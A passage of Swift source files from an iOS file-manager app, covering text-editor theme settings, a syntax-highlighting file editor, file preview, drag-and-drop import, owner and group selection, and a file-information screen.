UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 1: return 3 case 0, 2: return 2 default: fatalError("How the hell did you get here?! Unhandled section: \(section)") } } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() switch (indexPath.section, indexPath.row) { case (0, 0): conf.text = "Font" conf.secondaryText = theme.font.uiFont.fontName case (0, 1): conf.text = "Font size" let stepper = UIStepper() stepper.value = theme.font.uiFont.pointSize stepper.addTarget(self, action: #selector(fontStepperValueChanged(sender:)), for: .valueChanged) cell.accessoryView = stepper conf.secondaryText = theme.font.uiFont.pointSize.description case (1, 0): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Show Line Count") case (1, 1): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Wrap Lines") case (1, 2): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Use Character Pairs") case (2, 0): conf.text = "Text Color" cell.accessoryView = cell.colorCircleAccessoryView(color: theme.textColor?.uiColor ?? .label) case (2, 1): conf.text = "Editor Background Color" cell.accessoryView = cell.colorCircleAccessoryView(color: editorBackgroundColor) default: break } cell.contentConfiguration = conf return cell } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { self.selectedIndexPath = indexPath if indexPath.section == 2 { let vc = UIColorPickerViewController() switch indexPath.row { case 0: vc.selectedColor = theme.textColor?.uiColor ?? .label case 1: vc.selectedColor = editorBackgroundColor default: break } vc.delegate = self self.present(vc, animated: true) return } switch (indexPath.section, indexPath.row) { case (0, 0): let vc = UIFontPickerViewController() vc.delegate = self self.present(vc, animated: true) default: break } } override func switchOptionIsEnabled(forIndexPath indexPath: IndexPath) -> Bool { switch (indexPath.section, indexPath.row) { case (1, 0): return UserPreferences.showLineCount case (1, 1): return UserPreferences.wrapLines case (1, 2): return UserPreferences.useCharacterPairs default: fatalError() } } override func settingsSwitch(forIndexPath indexPath: IndexPath) -> UISwitch { let s = super.settingsSwitch(forIndexPath: indexPath) let action = UIAction { UserDefaults.standard.set(s.isOn, forKey: self.defaultsKey(forIndexPath: indexPath)) switch indexPath.row { case 0: self.delegate?.showLineCountConfigurationDidChange(showLineCount: s.isOn) case 1: self.delegate?.wrapLinesConfigurationDidChange(wrapLines: s.isOn) case 2: self.delegate?.characterPairConfigurationDidChange(useCharacterPairs: s.isOn) default: break } } s.addAction(action, for: .valueChanged) return s } override func defaultsKey(forIndexPath indexPath: IndexPath) -> String { switch (indexPath.section, indexPath.row) { case (1, 0): return "TextEditorShowLineCount" case (1, 1): return "TextEditorWrapLines" case (1, 2): return "TextEditorUseCharacterPairs" default: fatalError() } } @objc func fontStepperValueChanged(sender: UIStepper) { let val = sender.value self.theme.font = CodableFont(self.theme.font.uiFont.withSize(val)) // set the theme font // the index path containing the stepper, // to be reloaded let stepperCellIndexPath = IndexPath(row: 1, section: 0) self.tableView.reloadRows(at: [stepperCellIndexPath], with: .none) delegate?.themeDidChange(to: self.theme) } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return indexPath.section == 2 || (indexPath.section, indexPath.row) == (0, 0) } func setColor(_ color: UIColor, forIndexPath indexPath: IndexPath) { switch (indexPath.section, indexPath.row) { case (2, 0): theme.textColor = CodableColor(color) self.delegate?.themeDidChange(to: theme) case (2, 1): let codableColor = CodableColor(color) theme.textEditorBackgroundColor = codableColor self.delegate?.didChangeEditorBackground(to: codableColor) default: break } tableView.reloadRows(at: [indexPath], with: .none) } override func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) { guard let selectedIndexPath = selectedIndexPath else { return } setColor(viewController.selectedColor, forIndexPath: selectedIndexPath) } override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? { switch section { case 0: return "Fonts" case 1: return "Lines" case 2: return "Colors" default: return nil } } } extension TextEditorThemeSettingsViewController: UIFontPickerViewControllerDelegate { func fontPickerViewControllerDidPickFont(_ viewController: UIFontPickerViewController) { viewController.dismiss(animated: true) // Dismiss the vc // Make sure we got the descriptor guard let descriptor = viewController.selectedFontDescriptor else { return } let existingFontSize = self.theme.font.uiFont.pointSize self.theme.font = CodableFont(UIFont(descriptor: descriptor, size: existingFontSize)) let fontNameIndexPath = IndexPath(row: 0, section: 0) self.tableView.reloadRows(at: [fontNameIndexPath], with: .none) delegate?.themeDidChange(to: self.theme) } } protocol EditorThemeSettingsDelegate: AnyObject { func themeDidChange(to newTheme: CodableTextEditorTheme) func wrapLinesConfigurationDidChange(wrapLines: Bool) func showLineCountConfigurationDidChange(showLineCount: Bool) func characterPairConfigurationDidChange(useCharacterPairs: Bool) func didChangeEditorBackground(to color: CodableColor) } ================================================ FILE: Santander/UI/Editors/TextEditor/TextFileEditorViewController.swift ================================================ // // TextFileEditorViewController.swift // Santander // // Created by Serena on 02/07/2022 // import UIKit // Unfortunately, using a dep here for the text editor // but honestly, it just makes everything easier // I'm not integrating Syntax highlighting myself. import Runestone class TextFileEditorViewController: UIViewController, TextViewDelegate, EditorThemeSettingsDelegate { var fileURL: URL var originalContents: String var textView: TextView = TextView() var keyboardToolsView: KeyboardToolsView! var theme: CodableTextEditorTheme = UserPreferences.textEditorTheme { didSet { UserPreferences.textEditorTheme = theme DispatchQueue.global(qos: .userInitiated).sync { let state = TextViewState(text: textView.text, theme: theme.theme) DispatchQueue.main.async { self.textView.setState(state) } } } } init(fileURL: URL, contents: String) { self.fileURL = fileURL self.originalContents = contents super.init(nibName: nil, bundle: nil) } convenience init(fileURL: URL) throws { self.init(fileURL: fileURL, contents: try String(contentsOf: fileURL)) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } lazy var themeController: TextEditorThemeSettingsViewController = { let controller = TextEditorThemeSettingsViewController(style: .insetGrouped, theme: self.theme) controller.delegate = self return controller }() override func viewDidLoad() { super.viewDidLoad() self.title = fileURL.lastPathComponent textView.showLineNumbers = UserPreferences.showLineCount textView.isLineWrappingEnabled = UserPreferences.wrapLines textView.setState(TextViewState(text: originalContents, theme: theme.theme)) textView.autocorrectionType = .no textView.autocapitalizationType = .none if UserPreferences.useCharacterPairs { textView.characterPairs = AnyCharacterPair.all() } textView.isEditable = /*FileManager.default.isWritableFile(atPath: fileURL.path)*/ true textView.editorDelegate = self textView.backgroundColor = theme.textEditorBackgroundColor?.uiColor ?? .tertiarySystemBackground self.keyboardToolsView = KeyboardToolsView(textView: textView) textView.inputAccessoryView = keyboardToolsView let saveBarButton = UIBarButtonItem(barButtonSystemItem: .save, target: self, action: #selector(saveToFile)) saveBarButton.isEnabled = !textIsSameAsOriginal navigationItem.rightBarButtonItems = [saveBarButton, UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: makeRightBarMenuItemsMenu())] navigationItem.leftBarButtonItem = UIBarButtonItem(barButtonSystemItem: .cancel, target: self, action: #selector(cancel)) #if compiler(>=5.7) if #available(iOS 16.0, *) { navigationItem.style = .editor self.navigationItem.renameDelegate = self self.navigationItem.documentProperties = UIDocumentProperties(url: fileURL) } #endif textView.keyboardDismissMode = .onDrag textView.translatesAutoresizingMaskIntoConstraints = false view.addSubview(textView) configureNavigationBarToNormal() textView.constraintCompletely(to: view) if UIDevice.isiPad { let navVC = UINavigationController(rootViewController: themeController) splitViewController?.setViewController(navVC, for: .primary) splitViewController?.preferredDisplayMode = .oneBesideSecondary } let notificationCenter = NotificationCenter.default notificationCenter.addObserver(self, selector: #selector(adjustForKeyboard), name: UIResponder.keyboardWillHideNotification, object: nil) notificationCenter.addObserver(self, selector: #selector(adjustForKeyboard), name: UIResponder.keyboardWillChangeFrameNotification, object: nil) } // https://www.hackingwithswift.com/example-code/uikit/how-to-adjust-a-uiscrollview-to-fit-the-keyboard @objc func adjustForKeyboard(notification: Notification) { guard let keyboardValue = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? NSValue else { return } let keyboardScreenEndFrame = keyboardValue.cgRectValue let keyboardViewEndFrame = view.convert(keyboardScreenEndFrame, from: view.window) if notification.name == UIResponder.keyboardWillHideNotification { textView.contentInset = .zero } else { textView.contentInset = UIEdgeInsets(top: 0, left: 0, bottom: keyboardViewEndFrame.height - view.safeAreaInsets.bottom, right: 0) } textView.scrollIndicatorInsets = textView.contentInset let selectedRange = textView.selectedRange textView.scrollRangeToVisible(selectedRange) } override var keyCommands: [UIKeyCommand]? { return [ UIKeyCommand(title: "Zoom in", action: #selector(zoomInOrOut(sender:)), input: "+", modifierFlags: .command), UIKeyCommand(title: "Zoom out", action: #selector(zoomInOrOut(sender:)), input: "-", modifierFlags: .command) ] } @objc func zoomInOrOut(sender: UIKeyCommand) { let existingFont = theme.font.uiFont self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize)) switch sender.title { case "Zoom in": self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize + 1)) case "Zoom out": self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize - 1)) default: break } themeController.theme = self.theme // the font index path themeController.tableView.reloadRows(at: [IndexPath(row: 1, section: 0)], with: .none) } func makeRightBarMenuItemsMenu() -> UIMenu { let settingsAction = UIAction(title: "Settings", image: UIImage(systemName: "gear")) { _ in self.presentTextEditorSettings() } let goToLineAction = UIAction(title: "Go to line") { _ in self.showGoToLine() } return UIMenu(image: UIImage(systemName: "ellipsis.circle"), children: [settingsAction, goToLineAction]) } func showGoToLine() { let alert = UIAlertController(title: "Go to line", message: nil, preferredStyle: .alert) alert.addTextField { textField in textField.keyboardType = .numberPad } let goToLineAction = UIAlertAction(title: "Go to line", style: .default) { _ in guard let text = alert.textFields?.first?.text, let line = Int(text) else { print("\(#function) should not have reached here!") return } self.textView.goToLine(line - 1) } alert.addAction(.cancel()) alert.addAction(goToLineAction) self.present(alert, animated: true) } func textViewDidChange(_ textView: TextView) { self.navigationItem.rightBarButtonItem?.isEnabled = !textIsSameAsOriginal } @objc func saveToFile() { let newContentsToSave = textView.text do { try FSOperation.perform(.writeString(url: fileURL, string: newContentsToSave), rootHelperConf: RootConf.shared) self.dismiss(animated: true) } catch { self.errorAlert(error, title: "Unable to save to file") } } @objc func cancel() { if !textIsSameAsOriginal { let alert = UIAlertController(title: "Unsaved changes", message: "the file \"\(fileURL.lastPathComponent)\" has some unsaved changes, are you sure you want to close the file?", preferredStyle: .alert) let saveAction = UIAlertAction(title: "Save", style: .default) { _ in self.saveToFile() } let dontSaveAction = UIAlertAction(title: "Don't save", style: .destructive) { _ in self.dismiss(animated: true) } alert.addAction(dontSaveAction) alert.addAction(saveAction) self.present(alert, animated: true) } else { self.dismiss(animated: true) } } /// Whether or not the inputted text in the textView /// is the same as the original text var textIsSameAsOriginal: Bool { let text = textView.text return text == originalContents || text == originalContents.trimmingCharacters(in: .whitespacesAndNewlines) } @objc func presentTextEditorSettings() { if UIDevice.isiPad { splitViewController?.show(.primary) } else { let navVC = UINavigationController(rootViewController: themeController) if #available(iOS 15.0, *) { navVC.sheetPresentationController?.detents = [.medium(), .large()] } self.present(navVC, animated: true) } } func themeDidChange(to newTheme: CodableTextEditorTheme) { self.theme = newTheme } func wrapLinesConfigurationDidChange(wrapLines: Bool) { self.textView.isLineWrappingEnabled = wrapLines } func showLineCountConfigurationDidChange(showLineCount: Bool) { self.textView.showLineNumbers = showLineCount } func didChangeEditorBackground(to color: CodableColor) { self.textView.backgroundColor = color.uiColor self.theme.textEditorBackgroundColor = color } func characterPairConfigurationDidChange(useCharacterPairs: Bool) { textView.characterPairs = useCharacterPairs ? AnyCharacterPair.all() : [] } } #if compiler(>=5.7) extension TextFileEditorViewController: UINavigationItemRenameDelegate { func navigationItem(_: UINavigationItem, didEndRenamingWith title: String) { let newURL = self.fileURL.deletingLastPathComponent().appendingPathComponent(title) // make sure the new filename isn't the same as the current guard newURL != self.fileURL else { return } do { try FSOperation.perform(.moveItem(items: [fileURL], resultPath: newURL), rootHelperConf: RootConf.shared) self.fileURL = newURL } catch { self.errorAlert(error, title: "Uname to rename \(fileURL.lastPathComponent)") // renaming automatically changes title // so we need to change back the title to the original // in case of a failure self.title = fileURL.lastPathComponent } } } #endif ================================================ FILE: Santander/UI/Editors/TextEditor/Themes.swift ================================================ // // Themes.swift // Santander // // Created by Serena on 03/07/2022 // import UIKit import Runestone /// A Generic theme instance. class AnyTheme: Theme { public init(textColor: UIColor, font: UIFont, gutterBackgroundColor: UIColor, gutterHairlineColor: UIColor, lineNumberColor: UIColor, lineNumberFont: UIFont, selectedLineBackgroundColor: UIColor, selectedLinesLineNumberColor: UIColor, selectedLinesGutterBackgroundColor: UIColor, invisibleCharactersColor: UIColor, pageGuideBackgroundColor: UIColor, pageGuideHairlineColor: UIColor, markedTextBackgroundColor: UIColor, markedTextBackgroundBorderColor: UIColor) { self.textColor = textColor self.font = font self.gutterBackgroundColor = gutterBackgroundColor self.gutterHairlineColor = gutterHairlineColor self.lineNumberColor = lineNumberColor self.lineNumberFont = lineNumberFont self.selectedLineBackgroundColor = selectedLineBackgroundColor self.selectedLinesLineNumberColor = selectedLinesLineNumberColor self.selectedLinesGutterBackgroundColor = selectedLinesGutterBackgroundColor self.invisibleCharactersColor = invisibleCharactersColor self.pageGuideBackgroundColor = pageGuideBackgroundColor self.pageGuideHairlineColor = pageGuideHairlineColor self.markedTextBackgroundColor = markedTextBackgroundColor self.markedTextBackgroundBorderColor = markedTextBackgroundBorderColor } var textColor: UIColor var font: UIFont let gutterBackgroundColor: UIColor let gutterHairlineColor: UIColor let lineNumberColor: UIColor let lineNumberFont: UIFont let selectedLineBackgroundColor: UIColor let selectedLinesLineNumberColor: UIColor let selectedLinesGutterBackgroundColor: UIColor let invisibleCharactersColor: UIColor let pageGuideBackgroundColor: UIColor let pageGuideHairlineColor: UIColor let markedTextBackgroundColor: UIColor let markedTextBackgroundBorderColor: UIColor func textColor(for rawHighlightName: String) -> UIColor? { return nil } func font(for rawHighlightName: String) -> UIFont? { nil } } /// Represents a color, representable by a UIColor, which is Codable struct CodableColor: Codable { let red: CGFloat let green: CGFloat let blue: CGFloat let alpha: CGFloat var uiColor: UIColor { return UIColor(red: self.red, green: self.green, blue: self.blue, alpha: self.alpha) } init(_ color: UIColor) { // We have to provide pointers in the function to get the colors from var _red: CGFloat = 0, _green: CGFloat = 0, _blue: CGFloat = 0, _alpha: CGFloat = 0 color.getRed(&_red, green: &_green, blue: &_blue, alpha: &_alpha) self.red = _red self.blue = _blue self.green = _green self.alpha = _alpha } } struct CodableFont: Codable { var name: String var size: CGFloat var uiFont: UIFont { return UIFont(name: name, size: size)! } init(_ font: UIFont) { self.name = font.fontName self.size = font.pointSize } } /// Represents a theme usable with Runestone, which is Codable. struct CodableTextEditorTheme: Codable { var textColor: CodableColor? = nil var font = CodableFont(UIFont(name: "Menlo-Regular", size: 16)!) var gutterBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground) var gutterHairlineColor: CodableColor = CodableColor(.opaqueSeparator) var lineNumberColor: CodableColor = CodableColor(.secondaryLabel) var lineNumberFont = CodableFont(UIFont(name: "Menlo-Regular", size: 14)!) var selectedLineBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground) var selectedLinesLineNumberColor: CodableColor = CodableColor(.label) var selectedLinesGutterBackgroundColor: CodableColor = CodableColor(UIColor.opaqueSeparator.withAlphaComponent(0.4)) var invisibleCharactersColor: CodableColor = CodableColor(.tertiaryLabel) var pageGuideBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground) var pageGuideHairlineColor: CodableColor = CodableColor(.opaqueSeparator) var markedTextBackgroundColor: CodableColor = CodableColor(.systemFill) var markedTextBackgroundBorderColor: CodableColor = CodableColor(.clear) var textEditorBackgroundColor: CodableColor? = nil var theme: AnyTheme { AnyTheme( textColor: textColor?.uiColor ?? .label, font: font.uiFont, gutterBackgroundColor: gutterBackgroundColor.uiColor, gutterHairlineColor: gutterHairlineColor.uiColor, lineNumberColor: lineNumberColor.uiColor, lineNumberFont: lineNumberFont.uiFont, selectedLineBackgroundColor: selectedLineBackgroundColor.uiColor, selectedLinesLineNumberColor: selectedLinesLineNumberColor.uiColor, selectedLinesGutterBackgroundColor: selectedLinesGutterBackgroundColor.uiColor, invisibleCharactersColor: invisibleCharactersColor.uiColor, pageGuideBackgroundColor: pageGuideBackgroundColor.uiColor, pageGuideHairlineColor: pageGuideHairlineColor.uiColor, markedTextBackgroundColor: markedTextBackgroundColor.uiColor, markedTextBackgroundBorderColor: markedTextBackgroundBorderColor.uiColor ) } } /// Represents a generic CharacterPair struct AnyCharacterPair: CharacterPair { var leading: String var trailing: String static func all() -> [AnyCharacterPair] { return [ AnyCharacterPair(leading: "{", trailing: "}"), AnyCharacterPair(leading: "(", trailing: ")"), AnyCharacterPair(leading: "[", trailing: "]"), AnyCharacterPair(leading: "<", trailing: ">") ] } } ================================================ FILE: Santander/UI/FilePreviewDataSource.swift ================================================ // // FilePreviewDataSource.swift // Santander // // Created by Serena on 23/06/2022 // import QuickLook class FilePreviewDataSource: QLPreviewControllerDataSource { func numberOfPreviewItems(in controller: QLPreviewController) -> Int { return 1 } func previewController(_ controller: QLPreviewController, previewItemAt index: Int) -> QLPreviewItem { return fileURL as QLPreviewItem } let fileURL: URL init(fileURL: URL) { self.fileURL = fileURL } } ================================================ FILE: Santander/UI/Path/DragAndDrop.swift ================================================ // // DragAndDrop.swift // Santander // // Created by Serena on 24/06/2022 // import UIKit import UniformTypeIdentifiers extension PathListViewController: UITableViewDropDelegate, UITableViewDragDelegate { func tableView(_ tableView: UITableView, performDropWith coordinator: UITableViewDropCoordinator) { for item in coordinator.items { item.dragItem.itemProvider.loadFileRepresentation(forTypeIdentifier: "public.item") { url, err in guard let url = url, err == nil else { DispatchQueue.main.async { self.errorAlert("Error: \(err?.localizedDescription ?? "Unknown")", title: "Failed to import file") } return } // copying to the current path guard let currentPath = self.currentPath else { return } do { try FSOperation.perform(.moveItem(items: [url], resultPath: currentPath.url), rootHelperConf: RootConf.shared) } catch { DispatchQueue.main.async { self.errorAlert("Error: \(error.localizedDescription)", title: "Failed to copy item") } } } } } func tableView(_ tableView: UITableView, canHandle session: UIDropSession) -> Bool { return currentPath != nil } func tableView(_ tableView: UITableView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] { // if displayingSearchSuggestions is true, that means a search suggestion is being dragged guard !displayingSearchSuggestions else { return [] } let selectedItem = path(forIndexPath: indexPath) let itemProvider = NSItemProvider() let typeID = selectedItem.contentType?.identifier ?? UTType.content.identifier itemProvider.registerFileRepresentation( forTypeIdentifier: typeID, visibility: .all) { completion in completion(selectedItem.url, true, nil) return nil } return [ UIDragItem(itemProvider: itemProvider) ] } } ================================================ FILE: Santander/UI/Path/PathGroupOwnerViewController.swift ================================================ // // PathGroupOwnerViewController.swift // Santander // // Created by Serena on 07/08/2022. // import UIKit /// A ViewController allowing you to set either the owner or the group of a path class PathGroupOwnerViewController: UITableViewController { var type: ItemType var sourceVC: PathPermissionsViewController? let fileURL: URL enum Section { case main } var allData: [ItemType] = [] typealias DataSource = UITableViewDiffableDataSource lazy var dataSource = DataSource(tableView: tableView) { [self] tableView, indexPath, itemIdentifier in let item = itemIdentifier.name let cell = UITableViewCell() var conf = cell.defaultContentConfiguration() conf.text = item cell.contentConfiguration = conf if type.name == item { cell.accessoryType = .checkmark } return cell } func typeName(capitalizingFirstLetter: Bool) -> String { switch type { case .group(_): return capitalizingFirstLetter ? "Group" : "group" case .owner(_): return capitalizingFirstLetter ? "Owner" : "owner" } } init(style: UITableView.Style, type: ItemType, sourceVC: PathPermissionsViewController, fileURL: URL) { self.type = type self.sourceVC = sourceVC self.fileURL = fileURL super.init(style: style) } override func viewDidLoad() { self.title = typeName(capitalizingFirstLetter: true) let searchController = UISearchController(searchResultsController: nil) searchController.searchBar.delegate = self navigationItem.hidesSearchBarWhenScrolling = false navigationItem.searchController = searchController // load data Task { [self] in do { allData = try type.getAll(forURL: fileURL) applyItems(allData, animatingDifference: true) } catch { showError(error) searchController.searchBar.isUserInteractionEnabled = false } } } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { let item = dataSource.itemIdentifier(for: indexPath)!.name var newType: ItemType switch type { case .owner(_): newType = .owner(ownerName: item) case .group(_): newType = .group(groupName: item) } do { try newType.set(forURL: fileURL) self.type = newType // Update the parent permissions vc switch newType { case .owner(let ownerName): sourceVC?.permissions.ownerName = ownerName case .group(let groupName): sourceVC?.permissions.groupOwnerName = groupName } sourceVC?.tableView.reloadData() } catch { self.errorAlert(error, title: "Unable to change \(typeName(capitalizingFirstLetter: false)) of \(fileURL.lastPathComponent)") } tableView.deselectRow(at: indexPath, animated: true) var snapshot = dataSource.snapshot() snapshot.reloadItems(snapshot.itemIdentifiers) dataSource.apply(snapshot, animatingDifferences: false) } func showError(_ error: Error) { let errorLabel = UILabel() errorLabel.text = error.localizedDescription errorLabel.textAlignment = .center errorLabel.numberOfLines = 0 errorLabel.lineBreakMode = .byWordWrapping errorLabel.textColor = .systemGray errorLabel.translatesAutoresizingMaskIntoConstraints = false view.addSubview(errorLabel) let guide = view.layoutMarginsGuide NSLayoutConstraint.activate([ errorLabel.widthAnchor.constraint(equalTo: guide.widthAnchor), errorLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor), errorLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor), ]) } /// The list of items to display, /// either being groups or owners enum ItemType: Hashable, CustomStringConvertible { case group(groupName: String), owner(ownerName: String) /// Returns a string array of either types func getAll(forURL url: URL) throws -> [ItemType] { switch self { case .owner: var arr: [String] = [] while let pwent = getpwent() { arr.append(String(cString: pwent.pointee.pw_name)) } endpwent() return arr.map(ItemType.owner(ownerName:)) case .group: guard let owner = passwd(fileURLOwner: url) else { throw Errors.unableToGetGroups(description: "Failed to fetch groups, cause: owner is unknown") } var groups: Int32 = 0 var count: Int32 = Int32(sysconf(_SC_NGROUPS_MAX)) getgrouplist(owner.pw_name, Int32(owner.pw_gid), &groups, &count) let converted = convert(length: Int(count), data: &groups).compactMap { gid -> String? in guard let gr = getgrgid(gid_t(gid))?.pointee.gr_name else { return nil } return String(cString: gr) } return converted.map(ItemType.group(groupName:)) } } enum Errors: Error, LocalizedError { case unableToGetGroups(description: String) var errorDescription: String? { switch self { case .unableToGetGroups(let description): return description } } } var description: String { switch self { case .owner(let ownerName): return "Owner (owner name: \(ownerName))" case .group(let groupName): return "Group (group name: \(groupName))" } } var name: String { switch self { case .owner(let ownerName): return ownerName case .group(let groupName): return groupName } } /// Sets the type with the name /// for the given path func set(forURL url: URL) throws { switch self { case .owner(let ownerName): try FSOperation.perform(.setOwner(url: url, newOwner: ownerName), rootHelperConf: RootConf.shared) case .group(let groupName): try FSOperation.perform(.setGroup(url: url, newGroup: groupName), rootHelperConf: RootConf.shared) } } /// Converts a pointer to an Array private func convert(length: Int, data: UnsafePointer) -> [T] { let buffer = data.withMemoryRebound(to: T.self, capacity: length) { UnsafeBufferPointer(start: $0, count: length) } return Array(buffer) } } func applyItems(_ items: [ItemType], animatingDifference: Bool = false) { var snapshot = NSDiffableDataSourceSnapshot() snapshot.appendSections([.main]) snapshot.appendItems(items, toSection: .main) dataSource.apply(snapshot, animatingDifferences: animatingDifference) } } extension PathGroupOwnerViewController: UISearchBarDelegate { func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) { if searchText.isEmpty { applyItems(allData, animatingDifference: true) return } let filtered = allData.filter { item in item.name.localizedCaseInsensitiveContains(searchText) } applyItems(filtered, animatingDifference: true) } func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { applyItems(allData, animatingDifference: true) } } ================================================ FILE: Santander/UI/Path/PathInformationTableViewController.swift ================================================ // // PathInformationTableViewController.swift // Santander // // Created by Serena on 21/06/2022 // import UIKit import LaunchServicesBridge /// A Table View Controller displaying information for a given path class PathInformationTableViewController: UITableViewController { let path: Path let metadata: PathMetadata var showByteCount: Bool = false var showDisplayName: Bool = false var showRealPath: Bool = false var showAppName: Bool var appName: String? var sizeState: LoadingValueState = .loading init(style: UITableView.Style, path: Path) { self.path = path self.metadata = PathMetadata(filePath: path) appName = path.applicationItem?.localizedName() showAppName = (appName != nil) super.init(style: style) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() self.title = self.path.lastPathComponent DispatchQueue.global(qos: .userInteractive).async { [self] in var path = path if let size = path.size { sizeState = .value(size) } else { sizeState = .unavailable } DispatchQueue.main.async { self.tableView.reloadRows(at: [IndexPath(row: 2, section: 0)], with: .fade) } } } override func numberOfSections(in tableView: UITableView) -> Int { return 4 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0: return self.path.isDirectory ? 4 : 3 case 1: return metadata.contentType?.preferredMIMEType != nil ? 2 : 1 case 2: return 4 case 3: return 1 default: fatalError("Impossible to be here") } } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { switch (indexPath.section, indexPath.row) { case (0, 0): if appName != nil { showAppName.toggle() } else if path.displayName != path.lastPathComponent { showDisplayName.toggle() } case (0, 1): showRealPath.toggle() case (0, 2): showByteCount.toggle() case (3, 0): guard let permissions = metadata.permissions else { return } self.navigationController?.pushViewController(PathPermissionsViewController(permissions: permissions), animated: true) default: return } tableView.reloadRows(at: [indexPath], with: .automatic) } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() switch (indexPath.section, indexPath.row) { case (0, 0): if showDisplayName { conf.text = "Display name" conf.secondaryText = self.path.displayName } else if showAppName { conf.text = "App name" conf.secondaryText = appName } else { conf.text = "Name" conf.secondaryText = path.lastPathComponent } case (0, 1): conf.text = showRealPath ? "Real Path" : "Path" if showRealPath { conf.secondaryText = path.resolvedURL.path } else { conf.secondaryText = self.path.path } case (0, 2): conf.text = "Size" switch sizeState { case .loading: let spinner = UIActivityIndicatorView() spinner.startAnimating() spinner.translatesAutoresizingMaskIntoConstraints = false cell.addSubview(spinner) NSLayoutConstraint.activate([ spinner.trailingAnchor.constraint(equalTo: cell.layoutMarginsGuide.trailingAnchor), spinner.centerYAnchor.constraint(equalTo: cell.centerYAnchor) ]) case .unavailable: conf.secondaryText = "N/A" case .value(let size): let formatter = ByteCountFormatter() formatter.countStyle = .file formatter.allowedUnits = .useAll formatter.includesActualByteCount = showByteCount conf.secondaryText = formatter.string(fromByteCount: Int64(size)) } case (0, 3): conf.text = "Items" conf.secondaryText = self.path.contents.count.description case (1, 0): conf.text = "Type" conf.secondaryText = metadata.contentType?.localizedDescription?.localizedCapitalized ?? "N/A" case (1, 1): conf.text = "MIME Type" conf.secondaryText = metadata.contentType?.preferredMIMEType ?? "N/A" case (2, 0): conf.text = "Created" conf.secondaryText = metadata.creationDate?.listFormatted() ?? "N/A" case (2, 1): conf.text = "Added" conf.secondaryText = metadata.addedToDirectoryDate?.listFormatted() ?? "N/A" case (2, 2): conf.text = "Modified" conf.secondaryText = metadata.lastModifiedDate?.listFormatted() ?? "N/A" case (2, 3): conf.text = "Accessed" conf.secondaryText = metadata.lastAccessedDate?.listFormatted() ?? "N/A" case (3, 0): conf.text = "Permissions" cell.accessoryType = .disclosureIndicator cell.isUserInteractionEnabled = metadata.permissions != nil default: break } cell.contentConfiguration = conf return cell } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { switch (indexPath.section, indexPath.row) { case (0, 0): // Only allow display name to be shown if it's different from the lastPathComponent return path.displayName != path.lastPathComponent || appName != nil case (0, 1): return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path.path)) != nil case (0, 2): return true case (3, 0): return metadata.permissions != nil default: return false } } override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? { return headerTitle(forSection: section) } override func tableView(_ tableView: UITableView, contextMenuConfigurationForRowAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? { let cell = self.tableView(tableView, cellForRowAt: indexPath) guard let conf = cell.contentConfiguration as? UIListContentConfiguration, let secondaryText = conf.secondaryText else { return nil } return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in let copyAction = UIAction(title: "Copy", image: UIImage(systemName: "doc.on.doc")) { _ in UIPasteboard.general.string = secondaryText } return UIMenu(children: [copyAction]) } } func headerTitle(forSection section: Int) -> String { switch section { case 0: return "General" case 1: return "Type" case 2: return "Date Metadata" case 3: return "Permissions" default: fatalError("\(#function): Unknown Section num \(section)") } } } ================================================ FILE: Santander/UI/Path/PathListViewController.swift ================================================ // // PathListViewController.swift // Santander // // Created by Serena on 21/06/2022 // import UIKit import QuickLook import UniformTypeIdentifiers import ApplicationsWrapper import CompressionWrapper /// A table view controller showing the subpaths under a Directory, or a group class PathListViewController: UITableViewController, PathTransitioning { /// The contents of the path, unfiltered var unfilteredContents: [Path] /// The contents of the path, filtered by the search or hiding dotfiles var filteredSearchContents: [Path] = [] /// The items selected by the user while editing var selectedItems: [Path] = [] /// A Boolean representing if the user is currently searching var isSearching: Bool = false /// The contents of the path to show in UI var contents: [Path] { get { return filteredSearchContents.isEmpty && !self.isSearching ? unfilteredContents : filteredSearchContents } } /// The method of sorting var sortMethod: PathsSortMethods = .userPrefered ?? .alphabetically { willSet { UserDefaults.standard.set(newValue.rawValue, forKey: "SubPathsSortMode") sortContents() } } /// is this ViewController being presented as the `Bookmarks` paths? let isBookmarksSheet: Bool /// The current path from which items are presented var currentPath: Path? = nil let showInfoButton: Bool = UserPreferences.showInfoButton /// Whether or not to display the search suggestions var 